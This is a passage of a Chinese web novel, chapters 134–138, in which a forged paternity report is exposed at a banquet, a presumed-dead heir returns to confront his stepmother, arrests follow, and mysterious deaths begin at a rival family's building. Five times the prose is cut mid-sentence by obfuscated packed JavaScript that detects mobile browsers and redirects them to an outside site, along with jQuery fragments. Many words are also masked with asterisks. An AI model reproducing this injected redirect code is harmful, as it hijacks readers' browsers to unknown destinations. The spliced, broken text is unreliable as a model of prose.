她的眼眶微微泛红演得情真意切:“商场上的失败我们可以承认可以努力去挽回。但是我们绝不容忍有人用最恶毒、最肮脏的手段来污蔑一个刚刚出生的婴儿的血统!这不仅仅是对我孙儿的侮辱更是对我们整个赵家门楣的践踏!” 台下一片寂静。所有人都屏住了呼吸等着她接下来的话。 梁美玲深吸一口气像是下定了某种决心声音陡然拔高充满了决绝和自信: “为了证明我赵家血脉的纯正!为了让我孙儿能清清白白地长大!我今天就在这里当着全港市父老乡亲的面公布一份由我亲自监督由港大基因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771289|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鉴定中心出具的、最权威的亲子鉴定报告!” 话音刚落她身后巨大的LED屏幕瞬间亮起! 一份鉴定报告清晰地显示在屏幕中央。最下方那行用红色加粗标注的结论更是刺痛了所有人的眼睛: 【累计父权 概率大于99.99%,可以认定两者之间存在亲生父子关系。】 “轰——!” 现场瞬间炸开了锅! “天啊!竟然是真的!” “我就说嘛,虎毒不食子,赵家再怎么样,也不可能拿血脉开玩笑!” “这下那些八卦杂志的脸都被打肿了吧!” 梁美玲非常享受台下这瞬间反转的议论声。她挺直了腰杆,脸上是抑制不住的得意和扬眉吐气! 她正准备开口,说出那句准备已久的“现在,还有谁敢质疑我赵家的血脉”时—— 她身后那块巨大的LED屏幕,突然“滋啦”一声,闪过一片刺眼的雪花!那份让她引以为傲的鉴定报告,瞬间消失不见。 现场的宾客和记者们都愣住了,以为是设备出了技术故障。 舞台上的梁美玲,脸上的笑容也瞬间僵住!她回头看了一眼屏幕,又急又怒地对后台的工作人员低声呵斥:“怎么回事?!搞什么鬼东西!” 就在这时,一个清朗又带着几分戏谑的声音,从宾客席的第一排,缓缓地响了起来。 “赵夫人,别着急嘛。” 所有人循声望去,只见苏文赫,正端着一杯香槟,慢悠悠地从座位上站了起来。他今天穿着一身剪裁得体的宝蓝色西装,脸上挂着得体的笑容,但那双桃花眼里,此刻却闪烁着冰冷的光,如刀锋一般。 梁美玲看到他,心中猛地一沉,一种不祥的预感油然而生:“文赫?你……你想干什么?” 苏文赫没有回答她,而是对着全场宾客,举了举手中的酒杯,笑着说道:“各位,不好意思,打扰一下大家看戏的雅兴。只是赵夫人好像拿错了剧本。我觉得,我有必要帮大家播放一下……这份鉴定报告的‘制作花絮’。” 第134章 不是不报时候未到 说完,他从口袋里拿出一个小巧的遥控器,轻轻按了一下。 早已被陈慕白技术团队接管的大屏幕瞬间亮起! 先是一段视频:画面清晰地显示着医院VIP病房的走廊。镜头里,赵宇轩一脸不耐烦地被一个护士推进了采样室。几分钟后,他走了出来,护士则将一个贴着“赵宇轩”标签的透明样本袋,郑重地交给了等候在外的王司机。 现场的宾客们看到这里,都露出了然的神情,议论声再次响起。 “原来是这样,看来赵家这次是玩真的,连取样过程都留了底。” “也是被外面的八卦杂志逼急了,做得这么绝,就是要用事实来打所有人的脸。” 舞台上,梁美玲看到这一幕,嘴角的冷笑更深了。 她轻蔑瞥了一眼宾客席第一排的苏文赫。 这个苏文赫,还算是会来事。 当初,就是他主动请缨,替建邦去给承熙那个病秧子下“猛药”,帮他们解决了最大的心腹之患,虽说后来他们没有在浅水湾找到九龙佩,但按照承熙那个满肚子心眼的算计劲,这个傻小子说不定也是被骗了。 现在,他又上赶子地播放这段取样视频。是当着全港市的面,替赵家站台,向所有人展示这次鉴定的合理和公正,帮自己把这场自证清白的戏码,演得更逼真,更令人信服。 这是要戴罪立功? 说到底,还不是他们苏家想继续攀附赵家这棵大树? 人虽然笨了点,还算识点时务。 然而,下一秒,屏幕上的画面,却让她的笑容瞬间凝固。 画面一转,场景变成了赵建邦之前住院时的那间病房。视频的视角,来自于一个清洁工胸前佩戴的**机。画面中,“清洁工”正在更换枕套,他动作娴熟地从那略显凌乱的枕头上,捻起了几根带有清晰毛囊的头发,然后不紧不慢地将它们放入了另一个一模一样的样本袋中,并贴上了一个手写的标签。 现场的气氛,开始变得诡异起来! “嗯?这是在干什么?”一个眼尖的富豪皱起了眉,“做亲子鉴定,取赵宇轩的样本就够了,为什么还要取他叔叔赵建邦的?” “对啊,这跟孩子有什么关系?难道是想做个家族基因库,以备不时之需?” “不对劲……这太不对劲了……” 议论声从最初的了然,变成了困惑和猜疑。 角落里,霍思晴的眉头紧紧蹙起,她也立刻意识不对,但一时间摸不到头脑,只能紧紧盯着大屏幕。 而舞台上的梁美玲,脸上的表情僵住了,心里疑惑中混着不安,为什么……为什么会有赵建邦?! 可还没等她想明白,屏幕上的画面,已经切换到了第三段视频。 画面变成了那场精心策划的、电影拍摄现场的混乱街景。视频的视角,来自于伪装成环卫工詹骁胸前那颗高清的**。 镜头清晰地记录下,他打开那个银色的冷藏箱。 箱内,两个样本袋并排躺着:一个贴着“赵宇轩”的标签,另一个贴着“新生儿(楚小小之子)”。 在全场所有人震惊到失声的注视下,詹骁的手,快如闪电,取出了那个标记着“新生儿”的样本袋,然后,将上一段视频中,那个装着赵建邦头发的样本袋,放了进去! 最后,他关上箱子,若无其事地离开。视频到此结束,整个屏幕,陷入了一片死寂的黑暗。 死寂! 整个宴会厅,陷入了长达十几秒钟的、令人窒息的死寂! 所有人都被这石破天惊的一幕震得大脑一片空白!他们终于明白了! 送去鉴定的,根本不是赵宇轩和刚出生的新生儿,而是赵宇轩和他那躺在医院里的亲叔叔——赵建邦! 但那份报告的结论是…却是…父子关系成立?!! “我的天……” 不知是谁发出了一声梦呓般的呻吟,瞬间点燃了全场! 海啸般的哗然声、倒吸凉气声、压抑不住的惊呼声,汇成了巨大的声浪,几乎要将宴会厅的屋顶掀翻! 舞台上,梁美玲的脸,在瞬间变得比**还要惨白!她脚下一个踉跄,如果不是赵宇轩下意识地扶住她,她已经当场瘫倒! “不……不……”她指着那片漆黑的屏幕,嘴唇哆嗦着,发不出任何有意义的声音。她引以为傲的“铁证”,她用来反击世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771290|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界的“武器”,竟然从一开始,就是敌人递给她的一把用来捅死她自己的刀! 而赵宇轩,也彻底傻了!他的大脑一片空白,完全无法理解眼前发生的一切! 就在这片混乱之中,苏文赫看着傻掉的赵家母子,冷笑一声,继续按动了手里的遥控器: 大屏幕再次亮起,这一次,是梁美玲在地下黑诊所看“梅毒”的偷拍录像和那张写着诊断结果的病历特写! 梁美玲的脸瞬间惨白,整个人像是被扔上岸的鱼,张着嘴,却说不出一句话! 是自己偷偷去看病的时候!什么时候被偷拍了! 是个局!自己被坑了! 她盯着大屏幕,周围的声音都渐渐远去…… 苏文赫瞥了她一眼,拿起麦克风继续用冰冷而又清晰的声音: “各位,如果大家还在怀疑,为什么叔侄之间要做亲子鉴定。那么,这段视频或许可以给出一个解释。当嫂子和小叔子,同时染上同一种‘风流病’时,很多事情,也就不难理解了。” “轰——!” 如果说之前的证据只是让人们震惊,那么这一次,就是彻底的引爆! “**!我的天!是真的!” “太脏了!这对狗男女!简直是畜生!” “怪不得赵建邦对赵宇轩那么好,原来是自己的种啊!” 李伯也在台下,失声喊了出来:“难怪当时承熙生病,赵建邦要姑息治疗!原来是盼着他死,好让自己儿子上位!” “不是不报时候未到,现在终于到时候了,梁美玲你还有什么可说的?!”苏文赫冷冷看她。 无数道鄙夷、恶心、轻蔑的目光,如同利箭,齐刷刷地射向舞台上那对已经彻底崩溃的母子!闪光灯疯狂地闪烁,要将他们此刻所有的丑态都记录下来,成为明日全港最大的丑闻! 就在这极致的混乱和死寂之中,死鱼一样的梁美玲像是被刺激到了最后一根神经,她猛地抬起头,那双布满血丝的眼睛里,迸发出一种同归于尽般的疯狂! 她指着台下的苏文赫,歇斯底里地尖叫起来: “假的!都是假的!是你们!是你们在陷害我!” 第135章 复仇王子归来 她状若疯魔,发出叫嚣:“就算!就算宇轩是建邦的儿子又怎样?!那也是赵家直系的血脉!我告诉你们,承熙已经**!**!赵家以后,还是宇轩的!谁也抢不走!” 她的话音,在巨大的宴会厅里回荡,显得格外刺耳和可笑。 所有人都被她话中的无耻惊呆了,这个女人究竟是什么样的心理状态说出这样的话! 就在这一刻,角落里走出一个男人——是傅清寒。 全场瞬间安静了下来。所有人的目光,都不由自主地被他那强大而又冷漠的气场所吸引。 他没有走向舞台,而是转身,对着他身旁一直低着头穿着普通西装,仿佛只是个随行助理的“陆成”,伸出了一只骨节分明的手,声音平静: “该你上场了。” 在全场所有人困惑探究的目光中,“陆成”缓缓地抬起了头。 他摘掉了那副遮住了大半张脸的厚重黑框眼镜。 灯光下,一张清俊温润、却因久经风霜而带着几分锐利和冰冷的脸,清晰地呈现在了所有人的面前。 “天……天哪……” “赵……赵承熙?!” “他……他不是已经**吗?!我参加过他的葬礼!” 惊呼声,如同被点燃的引线,瞬间引爆了全场! 赵承熙没有理会周围山呼海啸般的震惊。在白凝凝和傅清寒一左一右的“护卫”下,在全场宾客自动分开的一条道路中,一步步地走向那个已经彻底傻掉的、如同看到了索命恶鬼的梁美玲。 他不需要再多说任何证据。 他的“复活”,就是最响亮的一记耳光,狠狠扇在梁美玲的脸上! 他走到梁美玲面前,看着她那张因恐惧而扭曲的脸,用一种平静的语调,回应了她刚才那疯狂的叫嚣: “是吗?恐怕……要让你失望了。” 说完,他不再看这个女人一眼,而是转身,面向台下所有震惊的宾客,从赵宇轩手中,拿过了那支早已掉落的话筒。 他清了清嗓子,用那熟悉又带着几分沙哑的声音,向全世界宣告自己的归来: “我,赵承熙,回来了。” 霍思晴在看到赵承熙站起身的那一刻,大脑就已经停止了思考。 她手中的 香槟杯不知何时已经滑落在地毯上,但她毫无知觉。她的全世界,仿佛只剩下那个在所有人的注视下,一步步走向舞台中央的、熟悉又陌生的身影。 是他…… 真的是他! 他还活着! 巨大的狂喜,如同汹涌的潮水,瞬间淹没了她的心脏,让她浑身战栗,几乎要站立不稳。眼泪,不受控制地夺眶而出,模糊了她的视线。 她死死地咬着自己的嘴唇,用尽全身的力气,才将自己钉在了原地。她知道,今晚是属于他的“加冕之夜,她不能去打扰他,更不能在这个时候,表现出任何的软弱。 她只是用那双含着泪的、亮得惊人的眼睛,一瞬不瞬地,痴痴地看着他。 而舞台上的赵承熙,在宣告自己归来的那一刻,他的目光,也穿越了所有的人群,落在了那个站在角落里、为他流泪的女孩身上。 四目相对,千言万语,都化作了彼此眼中的懂得和心疼。 他对着她的方向点了一下头,像是在无声地安抚她:别怕,我回来了。 随即,他便收回了所有的情绪,那张清俊的脸上,重新覆上了一层冰冷。 他转身,居高临下地看着那个已经彻底崩溃,瘫倒在地的梁美玲: “梁美玲,我母亲当年,到底是**的? 这个问题,像一把利刃狠狠地捅进了梁美玲的心里!她猛地抬起头,那张因恐惧和绝望而扭曲的脸上,露出歇斯底里的疯狂! “我不知道!我什么都不知道! “是吗?赵承熙冷笑一声,他没有再逼问,而是将目光转向了台下那些早已被这一连串的惊天反转震得麻木的宾客和媒体记者。 “各位,他的声音通过麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771291|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克风,清晰地传遍了整个宴会厅,“今天,除了拿回属于我的一切,我还要借这个机会,向大家揭露另一桩,被掩盖了二十年的豪门**。 他将自己母亲苏明玉当年是如何被赵建邦冷落,如何在产后抑郁中挣扎,最终又是如何被梁美玲用“子母牵机蛊这种阴毒的手段,一步步折磨至死的真相,缓缓道出。 虽然他没有直接的证据,但 他将自己中蛊后的症状,与母亲当年的病历进行对比,所有的细节都惊人地吻合! 一个因为嫉妒而对正室下毒手的情妇,一个为了扶持私生子而对亲侄子赶尽杀绝的叔叔…… 这桩桩件件,都像重磅**,将赵家那层虚伪的遮羞布,撕得粉碎! 就在这时,宴会厅的大门再次被推开。 一群穿着制服的警察和商业罪案调查科的人员,在苏文赫的“指引下,面无表情地走了进来。 为首的警司走到舞台前,对着早已面如死灰的梁美玲和赵建邦,出示了逮捕令: “梁美玲女士,赵建邦先生,你们现在涉嫌商业**、挪用**,以及一桩二十年前的**案。请跟我们回去接受调查。 “不!我不要!你们污蔑我!梁美玲发出一声凄厉的惨叫,她拼命地挣扎着,却被两个高大的警察死死地按住。 当冰冷的**碰到手腕的那一刻,梁美玲彻底崩溃了!她像个真正的疯子,歇斯底里地挣扎起来。她在挣扎中目光落在一边的白凝凝身上,发出了怨毒的诅咒: “是你!都是你这个**!是你害了我儿子!你不得好死!我早就该……我早就该让白石大师给你下‘断命蛊’!让你无声无息地死在港市!不,不对!大师说了给你下蛊,为什么没有起效! 她的话,声音尖利又颠三倒四。大部分宾客只当她是疯言疯语,没有在意。 但站在离舞台最近的傅清寒,却将“白石大师和“断命蛊 他不动声色地看了一眼身旁的凝凝,将她往自己怀里又揽紧了几分。 第136章 完美收官? 警司顿了顿,又对着耳麦下令道:“二号行动组,可以收网了。目标,港岛南区圣保罗疗养院,301病房,赵建邦。” 远在疗养院里,正通过电视直播,目瞪口呆地看着这一切的赵建邦,还没来得及从赵承熙“死而复生”的震惊中反应过来,病房的门就被人从外面一脚踹开!一群荷枪实弹的警察冲了进来,冰冷的**,瞬间拷住了他那只还打着点滴的手! 赵宇轩没有动,只是呆呆地站在那里,眼神空洞。他那本就不堪一击的神经彻底断了,他这一生所有的骄傲和资本,都在瞬间化为了齑粉。 楚小小看着眼前这如同闹剧般的结局,抱着怀里那个同样在啼哭的婴儿,面如死灰。她所有的豪门梦,她所有的算计和野心,在这一刻都碎成了最可笑的泡影。 她完了。 她这辈子,都完了。 再也翻不了身了,甚至还带了个累赘。—— 一场轰动全港的满月宴,以这样戏剧性方式落下了帷幕。 赵承熙在傅清寒和白凝凝的陪同下,穿过那些敬畏探究的目光,走了出去。 酒店门口,霍思晴正靠在她的车旁。她已经收敛起了所有外露的情绪,恢复了商界铁娘子的冷静,只是那微红的眼眶,还是泄露了她内心的不平静。 看到他出来,她迎了上去。 “你……真的是承熙?”她看着他,声音里带着一丝她自己都未察觉的颤抖。 赵承熙也看着她,那双冰冷的眸子里融化了几分。他点了点头:“是我,思晴。我回来了。” 得到肯定的答复,霍思晴那紧绷的神经才真正地松懈下来。她重重地吐出一口气,脸上终于绽开了一抹真实的笑意:“回来就好。” 两人相顾,尽在不言中。 赵承熙郑重地承诺:“等我处理完赵家的烂摊子,我会亲自登门拜访霍伯父。” “我等你。”霍思晴重重地点了点头。 她看着赵承熙上了那辆黑色的红旗车,直到车子消失在夜色之中,才缓缓收回目光。 —— 回到安全屋的路上,所有人都沉浸在一种大获全胜的、轻松的喜悦之中。 “太漂亮了!”陈慕白由衷地赞叹道,“清寒,你这套连环计,打得赵家毫 无还手之力!赵家那两对狗男女这辈子也别想翻身了!” “我们该去赵家把瑶瑶接回来了。”凝凝忽然道。 陈慕白点头,“走,我们去接我们的小功臣。” 半小时后,几辆黑色的红旗轿车,悄无声息地停在了赵家别墅门口。 灯火通明、却一片死寂。 赵家的佣人和保镖们,早已从新闻里看到了宴会上发生的一切,个个面如土色,魂不附体。 当他们看到那个传说中“死而复生”的赵家大少爷,在两个气场强大到令人窒息的男人的陪同下,亲自走下车时,所有人都吓得连大气都不敢喘,纷纷低下头,恭敬地让开了一条路。 陈慕白大步走在最前面,他的脸上没有任何表情,但那双镜片后的眼睛,却在迅速地寻找着。 他一眼就看到了那个正被几个保镖“看管”着、缩在沙发一角的熟悉身影。 “瑶瑶。”他轻声喊道。 陈瑶缓缓地抬起头,当她看到哥哥那张熟悉的脸时,所有的伪装、所有的坚强、所有的委屈和后怕,在这一刻,都找到了宣泄的出口。她的眼眶瞬间就红了,嘴唇动了动,却发不出任何声音,只是定定地看着他。 陈慕白快步走上前,脱下自己的西装外套,将她瘦弱的身体紧紧地包裹住。他没有多说任何安慰的话,只是伸出手,像小时候一样,揉了揉她的头发,声音里是前所未有的温柔和骄傲:“哥来接你回家了。” “哥……”陈瑶再也忍不住,扑进哥哥温暖而又熟悉的怀抱里,放声大哭。她哭得那样大声,那样肆无忌惮,仿佛要将这些日子以来所有的恐惧、所有的伪装、所有的坚强,都一次性地宣泄出来。 白凝凝和傅清寒静静地站在一旁,没有去打扰他们兄妹。 赵承熙看着那个在哥哥怀里哭得像个孩子的女孩,心中涌起一阵感激。 他知道,如果没有这个女孩的勇敢,他的复仇之路,绝不会如此顺利。 他走上前,对着紧紧相拥的兄妹二人,深深地鞠了一躬。 “陈小姐,”他的声音沙哑,却充满了真诚,“谢谢你。”陈瑶从哥哥的怀里抬起头,那张哭得梨花带雨的小脸上,第一次,露出了羞涩又骄傲的笑容。 她看着赵承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771292|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙,又看了看 旁边一脸欣慰的白凝凝,忽然觉得自己这些天吃的所有苦,都值了。 她终于不再是那个只会四处闯祸、被人嫌弃没脑子的陈瑶了。她也是能和他们并肩作战,被家人朋友认可的“战友了。 傅清寒看着这一幕,嘴角也难得地勾起一抹极淡的弧度。他对陈慕白说道:“走吧,该回去了。说完,他便不再理会别墅里那些战战兢兢的下人,转身,护着自己的妻子,向门外走去。陈慕白也牵着妹妹的手,紧随其后。 当他们走出那扇雕花铁门时,港市的夜风,带着一丝清凉拂面而来。 胜利的第二天,港岛的晨光,似乎都比往日要明媚几分。 半山安全屋别墅的露台上,一张铺着雪白桌布的圆桌旁,气氛是难得的轻松惬意。空气中弥漫着港式奶茶的香甜和刚出炉的菠萝油的酥香。 白凝凝懒洋洋地靠在藤编的沙发椅里,小口地啜着一杯被傅清寒特意叮嘱过、少糖多奶的“丝袜奶茶。阳光透过遮阳伞的缝隙,在她白皙如玉的脸颊上投下斑驳的光影,让她整个人都笼罩在一层柔和的光晕里。 赵承熙的复仇大计功成,压在她心头的一块大石也终于落了地。连日来的紧张和疲惫,仿佛都在这温暖的晨光和美食的香气中,消散得无影无踪。 傅清寒就坐在她身边,没有碰桌上那些精致的茶点。他修长而骨节分明的手指,正专注地剥着一个刚刚蒸熟的、热气腾腾的流沙包。他小心翼翼地撕开薄薄的面皮,将里面那金黄滚烫、如同熔岩般的咸蛋黄馅料,用一个小巧的白瓷勺,一点点地舀出来,吹凉了,才送到凝凝嘴边。 “慢点吃,小心烫。他的声音低沉而温柔,那双在外人面前永远冰冷如霜的黑眸里,此刻只盛满了对妻子的柔情和宠溺。 “唔……好吃。凝凝满足地眯起了眼。 桌子的另一侧,陈慕白和赵承熙则精神抖擞。两人面前摆着咖啡和财经报纸,头版头条,正是赵氏集团股票跌停、面临破产清算的骇人标题。 “霍小姐那边已经回了话,陈慕白推了推鼻梁上的金丝眼镜,脸上是运筹帷幄的笑意,“她今天下午会亲自过来,带着‘鸾凤佩’。顺便,把我们三方合作的细节敲定。看来,我们的港市之行,可以完美收官了。 第137章 风水不好 赵承熙也点了点头,他虽然一夜未眠,但精神却异常亢奋。他端起咖啡,目光越过维多利亚港璀璨的海景,眼中闪烁着重获新生的光彩。大仇得报的快意,和即将与霍思晴重新开始的期待,让他整个人都焕发着一种急切和生机,下一步就是考虑怎么重振赵家了。 “太好了!终于可以回家了!” 一个欢快的声音从客厅传来,陈瑶像只小蝴蝶一样,蹦蹦跳跳地跑了出来。她穿着一身粉色的运动服,扎着高高的马尾,脸上没有了之前的惊恐和伪装,重新恢复了属于她这个年纪的明媚和活力。 她毫不客气地凑到凝凝身边,一把抢过傅清寒刚为凝凝剥好的第二个流沙包,啊呜一口就咬掉了一大半,含糊不清地说道:“凝凝姐,你这包子真好吃!我可想死京市的烤鸭和涮羊肉了!回家第一件事我就要去吃个够!我都想我爸妈了!” 陈慕白看着自己妹妹这副没心没肺的模样,笑着打趣道:“你是想爸妈了,还是想某个姓陆的、不解风情的书呆子了?” “哥!”陈瑶的脸“腾”地一下就红了,她抓起一个菠萝油就朝陈慕白扔了过去,“你胡说八道什么呢!我才不想他!我巴不得他被实验室里的瓶瓶罐罐给埋了呢!” 兄妹俩的打闹,引得众人一阵轻笑。就连傅清寒脸上都露出了一丝久违的轻松笑意。 然而,这份胜利之后温馨的宁静还没持续多久,一阵急促的电话铃声骤然响起。 是苏文赫打来的紧急专线。 傅清寒正准备去拿第三个流沙包的手,在空中微微一顿。他放下手中的餐具,拿起桌上的餐巾,仔细地擦了擦手,才沉稳地接起了电话。 “清寒!不好了!”电话那头,苏文赫的声音充满了前所未有的焦急和凝重,“霍家出事了!” 客厅里所有人的目光,瞬间都集中到了傅清寒身上。欢笑声戛然而止。 “霍家名下,位于荔湾区即将开盘的旗舰商业大厦‘荔湾中心’,就在刚才,又发现了一具尸体!一个夜班保安,死在了中央空调机房里!” “这是三天内的第三起了!”苏文赫的声音因为急促而显得有些变调,“前两天已经**两个装修工人,一个说是失足坠楼,一个说是意外溺水。警方一直当成普通安全事故在处理, 可现在,死的是安保人员!而且死状和之前一模一样,面目扭曲,极度惊恐,法医还是查不出任何外伤和**迹象! “外面的八卦小报都在传,说霍家这块地风水不正,是‘绝户地’!他们说,之前赵家大少爷赵承熙还活着的时候,霍家跟他订了亲,结果赵承熙‘**’;现在赵承熙‘死而复生’,王者归来,霍家又立刻像闻着腥味的猫一样贴了上去,想捡现成的便宜! “现在所有人都说,霍家这是机关算尽,只想‘掐尖’占便宜,德不配位,所以才触怒了地煞,遭了报应!说他们这栋新大楼,注定要血本无归,谁进去谁倒霉! “霍家的股价,因为这个消息,非但没有因为与我们合作而上涨,反而开始新一轮的暴跌!比之前任何一次都凶!那些买了他们股票的股民,现在都堵在霍氏药业门口**呢! 傅清寒的脸色,一寸寸地沉了下来,“知道了。他只说了三个字,便挂了电话。 “怎么了?凝凝放下手中的奶茶杯,关切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771293|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地问道。她看到丈夫的眼神,就知道出大事了。 傅清寒将刚刚听到的消息复述了一遍。露台上那轻松惬意的氛围,瞬间荡然无存,取而代之的是一片死寂。 连刚刚还在打闹的陈瑶,都吓得收起了笑容,脸上露出了紧张的神色。 陈慕白冷笑一声,眼中闪过一丝不屑,“鬼楼?天谴?“这世上哪有什么鬼神。三天死三人,查不出原因,这分明是蓄意**!而且是最高明的那种! “手段太巧了。赵承熙也皱起了眉,“早不出事,晚不出事,偏偏在我们扳倒赵家,霍家即将与我们结盟的这个节骨眼上出事。这分明是冲着霍家来的!或者说……是冲着我们和霍家的联盟来的! 话音未落,赵承熙的私人电话也火急火燎地响了起来。来电显示上,正是“霍思晴三个字。 他立刻接起,电话那头传来的,是霍思晴沙哑得几乎失声的声音。 “承熙!凝凝!出事了!‘荔湾中心’的事,你们听说了吗?现在……现在家里全乱了!我爸他……他被那些董事和外面的流言逼疯了,他觉得是家里沾染了不干净的东西,非要请什么风水大师来‘驱邪’!我怎么劝都劝不住!你们……你们快来帮帮我! 傅清寒从赵承熙手中接过电话,声音冷静而又坚定,带着一股不容置喙的安抚力量:“霍小姐,你别急。稳住你父亲,我们马上到。 挂了电话,他立刻站起身,那双深邃的黑眸里,已是一片冰冷的肃杀。 几分钟后,几辆黑色的红旗轿车,如同离弦的利箭,以雷霆万钧之势,驶出半山别墅,径直冲向了那座已经被阴云和恐慌笼罩的风暴中心——荔湾大厦。 第138章 哪里来的金山大师 半小时后,“荔湾中心”大厦楼下。 这里早已被各路媒体的采访车和情绪激动的股民围得水泄不通。闪光灯像不要钱一样疯狂闪烁,尖锐的质问声、愤怒的叫骂声,与警车那刺耳的警笛声混杂在一起,形成了一片混乱的声浪。 “霍家滚出港市!还我们血汗钱!” “德不配位的奸商!遭天谴了吧!” 傅清寒的车队在霍家保镖艰难地开辟出的通道中,直接停在了大厦门口。 车门打开,傅清寒、白凝凝、赵承熙等人快步下车,就看到霍思晴正和她的父亲霍振邦激烈地争吵着。 “爸!我说了多少遍!这世上没有鬼!这分明是有人在背后搞鬼!我们应该相信警察,相信科学!”霍思晴的声音里充满了疲惫和愤怒,她那张一向清冷的脸上,露出了罕见激动的情绪。 “科学?!”霍振邦像猫被踩了尾巴,瞬间就炸了**!他指着报纸上那触目惊心的标题,激动地反驳道,“科学能解释吗?!三天死三个人!个个死状恐怖,却连一点伤口都查不出来!如果真的是人干的,警察为什么一点线索都没有!他们要是管用,现在会闹得满城风雨吗?!” 霍振邦,年过半百、能力平庸,靠着祖荫才坐上董事长位置的男人。他一辈子都活在父亲和女儿的阴影之下,此时也说不清自己就就事论事还是借题发挥,铁了心要给自己这个不听话,有强势的女儿一点颜色看看。 只见他指着女儿的鼻子,将所有的怨气和恐惧都发泄了出来:“我早就说过!那个赵承熙就是个克星!他一回来,我们就跟着倒霉!你还非要跟内地那群来路不明的人合作,现在好了,触怒了鬼神,报应来了吧!” “你……”霍思晴被父亲的胡搅蛮缠、蛮不讲理气得浑身发抖,一句话也说不出来。 就在这时,霍振邦看到傅清寒一行人,非但没有半分欢迎,反而像看到了瘟神一样,脸上露出了毫不掩饰的厌恶和警惕。 “你们来干什么?!我们霍家的事,用不着你们这些外人插手!都给我出去!” “霍伯父!”赵承熙上前一步,试图解释。 “别叫我伯父!我担待不起!”霍振邦粗暴地打断他,“赵承熙,你就是个扫把星!我们霍家好心好意跟你订了亲,结果 你‘**’让我们成了全港的笑话!现在你好不容易活过来了我们霍家还没来得及沾你的光就先惹上了一身骚!你还来干什么?还想克死我们全家吗?!” 这番恶毒而又无理的话让赵承熙的脸色瞬间变得煞白。 “爸!你胡说什么!这和承熙哥有什么关系!”霍思晴气得眼眶都红了她挡在赵承熙面前对着自己的父亲怒吼道。 “你还护着他是不是?你还没嫁人呢胳膊肘就向着外人了是不是?” 父女俩的争执 就在气氛剑拔**张之时管家匆匆忙忙地从跑了过来脸上带着一丝如释重负的喜色:“先生金山居士到了。” 金山居士? 傅清寒一行人好奇看去。 只见管家的身后还跟着一位穿着月白色唐装、手持紫檀木拂尘、颇有仙风道骨之姿的老者引路。那老者正是最近在港市上流圈声名鹊起的风水大师——“金山居士”。 霍振邦一看到他就像看到了救世主也顾不上跟女儿和主角团置气了。他立刻换上一副恭敬谦卑的嘴脸快步迎了上去几乎是点头哈腰地说道:“哎呀大师!您可算来了!您快给看看我们这到底是招惹了什么不干净的东西啊!” 这番前倨后恭的变脸简直让川剧变脸都自愧不如在场不少人都对他的态度暗自撇嘴也对这个极少在公共场合露面的金山颇为好奇。 “金山居士”微微颔首目光在场中缓缓扫过当他的视线与霍思晴那双倔强不屈的眼睛对上时只是淡淡地点了点头。他的目光落在了那群气质与周围格格不入的“内地人”身上。 他没有说话但那眼神中却带着一种居高临下的审视和一丝不易察觉的轻蔑。 霍振邦立刻会意转身像赶苍蝇一样对着主角团挥了挥手语气里充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 